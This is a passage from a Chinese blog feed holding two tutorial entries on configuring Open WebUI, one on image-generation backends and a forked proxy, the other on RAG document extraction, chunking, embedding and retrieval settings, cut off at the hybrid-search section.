    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-5-图像生成功能配置">3.5. 图像生成功能配置</h2><p>Open WebUI 支持集成多种图像生成工具，让 AI 能够根据文字描述生成图片。</p><h3 id="DALL-E-集成">DALL-E 集成</h3><p>DALL-E 是 OpenAI 的图像生成模型，质量高但需要付费。</p><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → Images</p><p>找到 “图像生成引擎” 选项，选择 “OpenAI DALL-E”。</p><p>填写配置：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td><strong>API Key</strong></td><td>你的 OpenAI API 密钥</td></tr><tr><td><strong>模型</strong></td><td>dall-e-3（推荐）或 dall-e-2</td></tr><tr><td><strong>图像尺寸</strong></td><td>1024x1024（标准）、1792x1024（宽屏）、1024x1792（竖屏）</td></tr><tr><td><strong>图像质量</strong></td><td>standard（标准）或 hd（高清，更贵）</td></tr></tbody></table><p><strong>费用说明</strong>：</p><ul><li>DALL-E 3 标准质量：$0.040 / 张</li><li>DALL-E 3 高清质量：$0.080 / 张</li><li>DALL-E 2：$0.020 / 张</li></ul><h3 id="ComfyUI-集成">ComfyUI 集成</h3><p>ComfyUI 是一个开源的图像生成工作流工具，支持 Stable Diffusion 等模型。</p><p><strong>前置要求</strong>：</p><p>你需要先部署 ComfyUI 服务。ComfyUI 的部署超出本教程范围，请参考 ComfyUI 官方文档。</p><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → Images → 选择 “ComfyUI”</p><p>填写配置：</p><table><thead><tr><th>字段</th><th>说明</th></tr></thead><tbody><tr><td><strong>ComfyUI Base URL</strong></td><td>ComfyUI 服务地址，如 <code>http://localhost:8188</code></td></tr><tr><td><strong>工作流 JSON</strong></td><td>ComfyUI 的工作流配置文件</td></tr></tbody></table><p><strong>工作流配置</strong>：</p><p>ComfyUI 使用 JSON 格式的工作流文件来定义图像生成流程。你需要：</p><ol><li>在 ComfyUI 中设计好工作流</li><li>导出为 JSON 文件</li><li>将 JSON 内容粘贴到 Open WebUI 的配置中</li></ol><p><strong>优势</strong>：</p><ul><li><p>完全免费（使用本地模型）</p></li><li><p>完全可控，可以自定义各种参数</p></li><li><p>支持多种 Stable Diffusion 模型</p></li></ul><p><strong>劣势</strong>：</p><ul><li>配置复杂，需要一定的技术能力</li><li>需要额外的硬件资源（特别是 GPU）</li></ul><h3 id="AUTOMATIC1111-集成">AUTOMATIC1111 集成</h3><p>AUTOMATIC1111 (Stable Diffusion WebUI) 是另一个流行的开源图像生成工具。</p><p><strong>配置步骤</strong>：</p><p>管理员面板 → 设置 → Images → 选择 “AUTOMATIC1111”</p><p>填写配置：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td><strong>API Base URL</strong></td><td><code>http://localhost:7860</code></td></tr><tr><td><strong>API Key</strong></td><td>如果设置了认证，填入密钥</td></tr></tbody></table><p><strong>启用 API</strong>：</p><p>AUTOMATIC1111 默认不开启 API，需要在启动时添加参数：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python launch.py --api --listen</span><br></pre></td></tr></table></figure><p><strong>测试连接</strong>：</p><p>配置完成后，点击 “测试连接” 按钮，如果成功会显示可用的模型列表。</p><h3 id="图像生成参数设置">图像生成参数设置</h3><p>无论使用哪种引擎，都可以配置默认的生成参数：</p><table><thead><tr><th>参数</th><th>说明</th><th>推荐值</th></tr></thead><tbody><tr><td><strong>Steps</strong></td><td>生成步数，越多质量越好但越慢</td><td>20-30</td></tr><tr><td><strong>CFG Scale</strong></td><td>提示词引导强度</td><td>7-9</td></tr><tr><td><strong>Sampler</strong></td><td>采样器类型</td><td>Euler a 或 DPM++ 2M</td></tr><tr><td><strong>负面提示词</strong></td><td>不想出现的元素</td><td>ugly, blurry, low quality</td></tr></tbody></table><p>这些参数主要用于 Stable Diffusion 类模型，DALL-E 不需要配置。</p><h3 id="通过-CLIProxyAPI-Plus-对接图像生成-编辑">通过 CLIProxyAPI Plus 对接图像生成/编辑</h3><p>如果你使用的是 CLIProxyAPI Plus（CPA）作为 OpenAI 兼容代理，它原生只提供 <code>/v1/chat/completions</code> 端点，不支持 <code>/v1/images/generations</code> 和 <code>/v1/images/edits</code>。但 Open WebUI 的 OpenAI 图像引擎恰恰需要这两个端点。</p><p>我们对 CPA 源码进行了 Fork 修改，新增了这两个端点，原理是将图像 API 请求转换为 Chat Completions 调用：</p><table><thead><tr><th>端点</th><th>请求格式</th><th>转换逻辑</th></tr></thead><tbody><tr><td><code>POST /v1/images/generations</code></td><td>JSON（prompt + model）</td><td>构建纯文本 chat completions 请求，从响应中提取 <code>data:image/xxx;base64,...</code></td></tr><tr><td><code>POST /v1/images/edits</code></td><td>multipart/form-data（image 文件 + prompt + model）</td><td>将上传图片转为 base64 data URI，构建多模态 chat completions 请求（image_url + text）</td></tr></tbody></table><p>两个端点都返回标准 OpenAI Images API 格式：<code>{&quot;created&quot;: ..., &quot;data&quot;: [{&quot;b64_json&quot;: &quot;...&quot;}]}</code>。</p><p><strong>涉及的 CPA 源码文件</strong>：</p><ul><li><code>sdk/api/handlers/openai/openai_images_handler.go</code> — 新增文件，包含 <code>ImageGenerations</code> 和 <code>ImageEdits</code> 两个 handler</li><li><code>internal/api/server.go</code> — 在 <code>setupRoutes()</code> 的 v1 group 中注册路由（3 行改动）</li></ul><p><strong>Open WebUI 配置</strong>：</p><p>图像生成（管理员面板 → 设置 → Images）：</p><table><thead><tr><th>字段</th><th>值</th></tr></thead><tbody><tr><td><strong>引擎</strong></td><td>OpenAI</td></tr><tr><td><strong>API Base URL</strong></td><td><code>http://host.docker.internal:8317/v1</code></td></tr><tr><td><strong>API Key</strong></td><td>你的 CPA api-key</td></tr><tr><td><strong>模型</strong></td><td>手动输入模型 ID，如 <code>prorise/gemini-3-pro-image-preview</code></td></tr></tbody></table><p>图像编辑配置同理，引擎选 OpenAI，URL 和 Key 相同，模型填支持图像编辑的模型 ID。</p><p><strong>触发机制</strong>：</p><ul><li>聊天中纯文字描述 → 触发 <code>/images/generations</code>（图像生成）</li><li>聊天中上传图片 + 文字描述 → 触发 <code>/images/edits</code>（图像编辑，需开启 <code>ENABLE_IMAGE_EDIT</code>）</li></ul><p><strong>注意事项</strong>：</p><ul><li>图像模型建议在 Open WebUI 的模型高级设置中关闭流式输出（<code>stream_response: false</code>），避免 chunk 过大导致前端显示异常</li><li>CPA 源码 Fork 详见项目根目录的 <code>FORK_README.md</code>，同步上游更新时注意冲突风险</li></ul><hr></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/12814.html</id>
    <link href="https://blog.prorisehub.com/posts/12814.html"/>
    <published>2026-02-27T07:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-5-图像生成功能配置">3.5. 图像生成功能配置</h2>
<p>Open WebUI 支持集成多种图像生成工具，让 AI 能够根据文字描述生成图片。</p>
<h3]]>
    </summary>
    <title>OpenWebUi-图像生成功能配置</title>
    <updated>2026-05-07T03:10:50.993Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="办公提效方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/"/>
    <category term="OpenWebUi" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/%E5%8A%9E%E5%85%AC%E6%8F%90%E6%95%88%E6%96%B9%E5%90%91/OpenWebUi/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h2 id="3-4-RAG-文档功能配置">3.4. RAG 文档功能配置</h2><p>RAG（检索增强生成）是 Open WebUI 的核心功能之一，允许用户基于自己的文档进行问答。本节将从上到下逐一解析 Admin Panel → Settings → Documents 页面的每个配置项，帮助你根据实际场景做出最优选择。</p><p><strong>配置入口</strong>：管理员面板 → 设置 → Documents</p><hr><h3 id="内容提取引擎（Content-Extraction-Engine）">内容提取引擎（Content Extraction Engine）</h3><p>内容提取引擎决定了 Open WebUI 如何从上传的文件中提取文本。通过环境变量 <code>CONTENT_EXTRACTION_ENGINE</code> 选择，共支持 8 种引擎。</p><h4 id="引擎横向对比">引擎横向对比</h4><table><thead><tr><th>引擎</th><th>部署方式</th><th>费用</th><th>支持格式</th><th>OCR 能力</th><th>表格/公式</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>默认（Default）</strong></td><td>本地，零依赖</td><td>免费</td><td>PDF、TXT、CSV、DOCX、代码文件</td><td>❌ 不支持</td><td>❌ 弱</td><td>简单文档，纯文本 PDF</td></tr><tr><td><strong>Apache Tika</strong></td><td>需部署 Java 服务</td><td>免费（开源）</td><td>1400+ 种格式</td><td>❌ 弱</td><td>❌ 弱</td><td>格式种类多的企业环境</td></tr><tr><td><strong>Docling（IBM）</strong></td><td>需部署服务或用 API</td><td>免费（开源）</td><td>PDF、DOCX、PPTX、HTML</td><td>✅ 支持</td><td>✅ 优秀</td><td>复杂排版、表格、公式</td></tr><tr><td><strong>Datalab Marker</strong></td><td>云 API 或自部署</td><td>~$6/千页（高精度）</td><td>PDF、图片</td><td>✅ LLM 增强 OCR</td><td>✅ 优秀</td><td>复杂排版 PDF，可自部署</td></tr><tr><td><strong>Mistral OCR</strong></td><td>云 API</td><td>$1-2/千页</td><td>PDF、图片</td><td>✅ 99%+ 准确率</td><td>✅ 优秀</td><td>扫描件、多语言（25+ 语言）</td></tr><tr><td><strong>Document Intelligence</strong></td><td>Azure 云服务</td><td>~$10/千页</td><td>PDF、图片、表单</td><td>✅ 支持</td><td>✅ 支持</td><td>Azure 生态企业用户</td></tr><tr><td><strong>MinerU</strong></td><td>自部署或云 API</td><td>免费（开源）</td><td>PDF、图片</td><td>✅ 支持</td><td>✅ 最佳</td><td>学术论文、金融报告、公式密集</td></tr><tr><td><strong>External</strong></td><td>自定义 HTTP 服务</td><td>取决于实现</td><td>自定义</td><td>取决于实现</td><td>取决于实现</td><td>对接私有解析服务</td></tr></tbody></table><h4 id="各引擎详细说明">各引擎详细说明</h4><div class="tabs" id="内容提取引擎详解"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="内容提取引擎详解-1">默认引擎</button><button type="button" class="tab " data-href="内容提取引擎详解-2">Apache Tika</button><button type="button" class="tab " data-href="内容提取引擎详解-3">Docling（IBM 开源）</button><button type="button" class="tab " data-href="内容提取引擎详解-4">Datalab Marker</button><button type="button" class="tab " data-href="内容提取引擎详解-5">Mistral OCR</button><button type="button" class="tab " data-href="内容提取引擎详解-6">Document Intelligence</button><button type="button" class="tab " data-href="内容提取引擎详解-7">MinerU</button><button type="button" class="tab " data-href="内容提取引擎详解-8">External</button></ul><div class="tab-contents"><div class="tab-item-content active" id="内容提取引擎详解-1"><p>使用 Python 原生加载器（PyPDFLoader、Docx2txtLoader、CSVLoader、TextLoader），零依赖开箱即用。但不支持 OCR，无法处理扫描件，对复杂表格和公式无能为力。</p><p><strong>适合</strong>：纯文本 PDF 和简单文档，快速上手无需任何额外配置。</p></div><div class="tab-item-content" id="内容提取引擎详解-2"><p>老牌 Java 文档解析框架，格式覆盖最广（1400+），但对 PDF 排版理解较弱，不擅长表格结构保留和公式识别。适合已有 Tika 基础设施的组织。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=tika</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">TIKA_SERVER_URL=http://tika:9998</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-3"><p>Python 原生，对 PDF 排版理解好，表格提取准确，支持公式，输出干净的 Markdown/JSON。在多个评测中与 MinerU 并列 top 2。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=docling</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DOCLING_SERVER_URL=http://docling:5000</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DOCLING_API_KEY=your-api-key</span>  <span class="comment"># 如需认证</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-4"><p>基于开源 <a href="https://github.com/datalab-to/marker">Marker</a> 和 Surya 模型，LLM 增强 OCR。其 Chandra OCR 模型在 olmOCR benchmark 上得分 83.1%，超过 GPT-4o。支持云 API 和自部署两种方式。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=datalab_marker</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DATALAB_MARKER_API_KEY=your-api-key</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-5"><p>号称 99%+ 准确率，支持表格/公式/图表转表格/签名检测，覆盖 25+ 语言。性价比高（$1/千页起），但只能通过 API 调用，无法自部署。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=mistral_ocr</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MISTRAL_OCR_API_KEY=your-api-key</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-6"><p>微软企业级服务，预置发票/收据/身份证等模型，支持自定义模型训练。价格较高但有企业合规保障。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=document_intelligence</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">DOCUMENT_INTELLIGENCE_ENDPOINT=https://your-resource.cognitiveservices.azure.com/</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-7"><p>基于 PDF-Extract-Kit 微调模型，在复杂文档（学术论文、教材、金融报告）上表现最佳，表格/公式/图片提取精度高。推荐 GPU 环境运行。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=mineru</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MINERU_API_URL=http://mineru:8000</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">MINERU_API_MODE=local</span>  <span class="comment"># cloud 或 local</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="内容提取引擎详解-8"><p>万能逃生舱，指向任意 HTTP 服务，适合对接企业内部的私有文档解析服务。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">CONTENT_EXTRACTION_ENGINE=external</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">EXTERNAL_DOCUMENT_LOADER_URL=http://your-service:8080/extract</span></span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><h4 id="引擎选择建议">引擎选择建议</h4><table><thead><tr><th>场景</th><th>推荐引擎</th><th>理由</th></tr></thead><tbody><tr><td>简单文档、快速上手</td><td>默认</td><td>零配置，开箱即用</td></tr><tr><td>扫描件、多语言文档</td><td>Mistral OCR</td><td>性价比最高，准确率高</td></tr><tr><td>学术论文、公式密集</td><td>MinerU 或 Docling</td><td>表格/公式提取精度最佳</td></tr><tr><td>企业 Azure 环境</td><td>Document Intelligence</td><td>合规保障，预置模型丰富</td></tr><tr><td>想自部署 + 高精度</td><td>Datalab Marker 或 MinerU</td><td>开源可控，精度优秀</td></tr><tr><td>格式种类极多</td><td>Apache Tika</td><td>1400+ 格式覆盖</td></tr></tbody></table><h4 id="PDF-提取图片（PDF-Extract-Images）">PDF 提取图片（PDF Extract Images）</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td>PDF Extract Images</td><td><code>PDF_EXTRACT_IMAGES</code></td><td><code>false</code></td><td>是否从 PDF 中提取嵌入的图片</td></tr></tbody></table><p>启用后会增加处理时间和存储空间，仅在文档中的图片内容对问答有价值时开启。</p><hr><h3 id="PDF-加载模式">PDF 加载模式</h3><p>Open WebUI 提供两种 PDF 处理模式，决定了文档在进入切分器之前的预处理方式：</p><table><thead><tr><th>模式</th><th>行为</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>Page（页模式）</strong></td><td>每页作为独立文档单元，保留页边界</td><td>检索时能精确定位到具体页码</td><td>跨页内容会被截断</td><td>PPT 转 PDF、每页独立主题</td></tr><tr><td><strong>Single Document（单文档模式）</strong></td><td>整个 PDF 合并为一个文本块，再统一切分</td><td>跨页内容不会丢失，语义连贯</td><td>失去页码定位能力</td><td>论文、书籍、报告等连续叙述型文档</td></tr></tbody></table><p><strong>最佳实践</strong>：大多数 RAG 场景推荐 <strong>Single Document</strong> 模式，因为语义连贯性比页码定位更重要。如果文档每页内容相对独立（如幻灯片），则用 Page 模式。</p><hr><h3 id="文本切分（Text-Splitting）">文本切分（Text Splitting）</h3><p>文本切分决定了文档被拆分成多大的片段（chunk）存入向量数据库。切分质量直接影响检索精度。</p><h4 id="切分器类型">切分器类型</h4><table><thead><tr><th>切分器</th><th>计量方式</th><th>特点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>默认（Character）</strong></td><td>按字符数</td><td>使用递归分隔符（<code>\n\n</code> → <code>\n</code> → 空格 → 字符）逐级切分，简单高效，无依赖</td><td>英文文档、通用场景</td></tr><tr><td><strong>Token</strong></td><td>按 token 数</td><td>按模型 tokenizer 计算，切分大小与模型上下文窗口精确对齐</td><td>中文文档（1 个汉字 ≈ 2-3 个 token）、需要精确控制 token 用量</td></tr></tbody></table><h4 id="核心参数">核心参数</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Chunk Size</strong></td><td><code>CHUNK_SIZE</code></td><td>1500</td><td>1000-2000</td><td>每个 chunk 的最大大小。太小丢失上下文，太大降低检索精度</td></tr><tr><td><strong>Chunk Overlap</strong></td><td><code>CHUNK_OVERLAP</code></td><td>100</td><td>Chunk Size 的 5%-15%</td><td>相邻 chunk 的重叠量，保证边界处语义连贯</td></tr></tbody></table><p><strong>参数调优指南</strong>：</p><ul><li><strong>Chunk Size 太小（&lt;500）</strong>：上下文不完整，模型难以理解片段含义</li><li><strong>Chunk Size 太大（&gt;2000）</strong>：包含过多无关信息，检索精度下降</li><li><strong>Chunk Overlap 太小</strong>：重要信息可能被切断在两个 chunk 之间</li><li><strong>Chunk Overlap 太大</strong>：存储冗余增加，检索效率降低</li></ul><h4 id="Markdown-标题文本分割器">Markdown 标题文本分割器</h4><table><thead><tr><th>配置项</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Markdown Header Text Splitter</strong></td><td>关闭</td><td>按 Markdown 标题（H1-H6）进行结构化预切分</td></tr><tr><td><strong>Chunk Min Size Target</strong></td><td>—</td><td>合并过小片段的阈值，建议设为 Chunk Size 的 50%</td></tr></tbody></table><p>启用后，文档会先按 Markdown 标题进行结构化预切分，然后再交给标准切分器处理。好处：</p><ul><li>保留文档的逻辑结构，每个 chunk 属于明确的章节</li><li>避免跨章节切分导致语义混乱</li><li>配合 Chunk Min Size Target 参数，可以将过小的片段向前合并（单向合并算法，不跨文档），官方测试显示阈值设为 1000（chunk size 2000 时）可减少 90%+ 的碎片 chunk</li></ul><p><strong>最佳实践</strong>：如果文档是 Markdown 格式，或提取引擎输出 Markdown（Docling、MinerU、Marker 都输出 Markdown），<strong>强烈建议开启此选项</strong>。</p><hr><h3 id="嵌入模型（Embedding-Model）">嵌入模型（Embedding Model）</h3><p>嵌入模型将文本转换为向量表示，是 RAG 检索的基础。模型质量直接决定检索准确性。</p><h4 id="引擎横向对比-2">引擎横向对比</h4><table><thead><tr><th>引擎</th><th>配置值</th><th>费用</th><th>延迟</th><th>隐私</th><th>推荐模型</th></tr></thead><tbody><tr><td><strong>SentenceTransformers（默认）</strong></td><td><code>&quot;&quot;</code></td><td>免费，本地运行</td><td>中等（取决于硬件）</td><td>完全本地</td><td><code>all-MiniLM-L6-v2</code>（轻量）、<code>BAAI/bge-m3</code>（多语言）</td></tr><tr><td><strong>Ollama</strong></td><td><code>ollama</code></td><td>免费，本地运行</td><td>快（已有 Ollama 实例）</td><td>完全本地</td><td><code>nomic-embed-text</code>（推荐首选）、<code>mxbai-embed-large</code></td></tr><tr><td><strong>OpenAI</strong></td><td><code>openai</code></td><td>按 token 计费</td><td>低（云端）</td><td>数据发送到云端</td><td><code>text-embedding-3-small</code>（性价比）、<code>text-embedding-3-large</code>（高精度）</td></tr><tr><td><strong>Azure OpenAI</strong></td><td><code>azure</code></td><td>按 token 计费</td><td>低（云端）</td><td>Azure 合规保障</td><td>同 OpenAI 模型，通过 Azure 部署</td></tr></tbody></table><h4 id="各引擎详细说明-2">各引擎详细说明</h4><div class="tabs" id="嵌入模型引擎详解"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="嵌入模型引擎详解-1">SentenceTransformers（默认）</button><button type="button" class="tab " data-href="嵌入模型引擎详解-2">Ollama</button><button type="button" class="tab " data-href="嵌入模型引擎详解-3">OpenAI</button><button type="button" class="tab " data-href="嵌入模型引擎详解-4">Azure OpenAI</button></ul><div class="tab-contents"><div class="tab-item-content active" id="嵌入模型引擎详解-1"><p>使用 Python <code>sentence-transformers</code> 库在本地运行，模型自动从 HuggingFace 下载缓存。零成本、完全隐私，但首次加载模型较慢，且占用服务器内存/显存。默认模型 <code>all-MiniLM-L6-v2</code> 较轻量但精度一般。</p><p>⚠️ <strong>网络提示</strong>：如果服务器无法访问 <code>huggingface.co</code>，启动时会出现 SSL 重连错误，RAG 功能将不可用。可添加镜像站环境变量解决：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">HF_ENDPOINT=https://hf-mirror.com</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="嵌入模型引擎详解-2"><p>如果你已经在用 Ollama 跑 LLM，这是最方便的选择。<code>nomic-embed-text</code> 是社区最推荐的模型：8192 token 上下文、完全开源、在 MTEB 和 LoCo 基准上表现优异。</p><p>先下载模型：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ollama pull nomic-embed-text</span><br><span class="line"><span class="comment"># 或中文场景</span></span><br><span class="line">ollama pull bge-m3</span><br></pre></td></tr></table></figure><p>然后配置环境变量：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_ENGINE=ollama</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_MODEL=nomic-embed-text</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_OLLAMA_BASE_URL=http://ollama:11434</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="嵌入模型引擎详解-3"><p>支持任何 OpenAI 兼容端点（包括第三方）。<code>text-embedding-3-small</code>（1536 维）性价比高，<code>text-embedding-3-large</code>（3072 维）精度更好。缺点是有 API 费用、网络延迟、数据隐私风险。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_ENGINE=openai</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_MODEL=text-embedding-3-small</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_OPENAI_API_BASE_URL=https://api.openai.com/v1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_OPENAI_API_KEY=sk-...</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content" id="嵌入模型引擎详解-4"><p>本质上是 OpenAI 模型通过 Azure 托管，适合有 Azure 合规要求的企业。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">environment:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_EMBEDDING_ENGINE=azure</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">RAG_AZURE_OPENAI_BASE_URL=https://your-resource.openai.azure.com/</span></span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><h4 id="嵌入模型选择建议">嵌入模型选择建议</h4><table><thead><tr><th>场景</th><th>推荐方案</th><th>理由</th></tr></thead><tbody><tr><td>本地优先、已有 Ollama</td><td>Ollama + <code>nomic-embed-text</code></td><td>最佳平衡，免费、快速、质量好</td></tr><tr><td>资源受限、轻量部署</td><td>SentenceTransformers + <code>all-MiniLM-L6-v2</code></td><td>零依赖，内存占用小</td></tr><tr><td>中文文档为主</td><td>Ollama + <code>bge-m3</code> 或 SentenceTransformers + <code>BAAI/bge-m3</code></td><td>多语言支持优秀</td></tr><tr><td>追求精度且不介意费用</td><td>OpenAI + <code>text-embedding-3-large</code></td><td>精度最高</td></tr><tr><td>企业合规要求</td><td>Azure OpenAI</td><td>合规保障</td></tr></tbody></table><h4 id="其他嵌入参数">其他嵌入参数</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Embedding Batch Size</strong></td><td><code>RAG_EMBEDDING_BATCH_SIZE</code></td><td>100</td><td>批量嵌入大小，显存不足时调小</td></tr></tbody></table><p>⚠️ <strong>重要</strong>：更换嵌入模型后，所有已有文档必须重新嵌入（re-embed），因为不同模型的向量空间不兼容。确定模型后不要轻易更换。</p><hr><h3 id="检索与排序（Retrieval-Ranking）">检索与排序（Retrieval &amp; Ranking）</h3><p>检索参数决定了从向量数据库中召回多少结果、如何过滤和排序。这是影响 RAG 最终效果的关键环节。</p><h4 id="核心检索参数">核心检索参数</h4><table><thead><tr><th>配置项</th><th>环境变量</th><th>默认值</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td><strong>Top K</strong></td><td><code>TOP_K</code></td><td>5</td><td>5-10</td><td>返回的最相关 chunk 数量。太少可能遗漏信息，太多会稀释上下文</td></tr><tr><td><strong>Relevance Threshold</strong></td><td><code>RELEVANCE_THRESHOLD</code></td><td>0.0</td><td>0.2-0.5</td><td>最低相关性分数阈值，低于此分数的 chunk 被过滤。设为 0 表示不过滤</td></tr></tbody></table><p><strong>参数调优指南</strong>：</p><ul><li><strong>Top K 太少（❤️）</strong>：可能遗漏重要信息，回答不完整</li><li><strong>Top K 太多（&gt;10）</strong>：包含过多噪音，模型可能被无关内容干扰</li><li><strong>Relevance Threshold 太低（0）</strong>：不过滤，噪音多</li><li><strong>Relevance Threshold 太高（&gt;0.7）</strong>：过滤过严，可能丢失有用信息</li></ul><h4 id="混合搜索（Hybrid-Search）">混合搜索（Hybrid 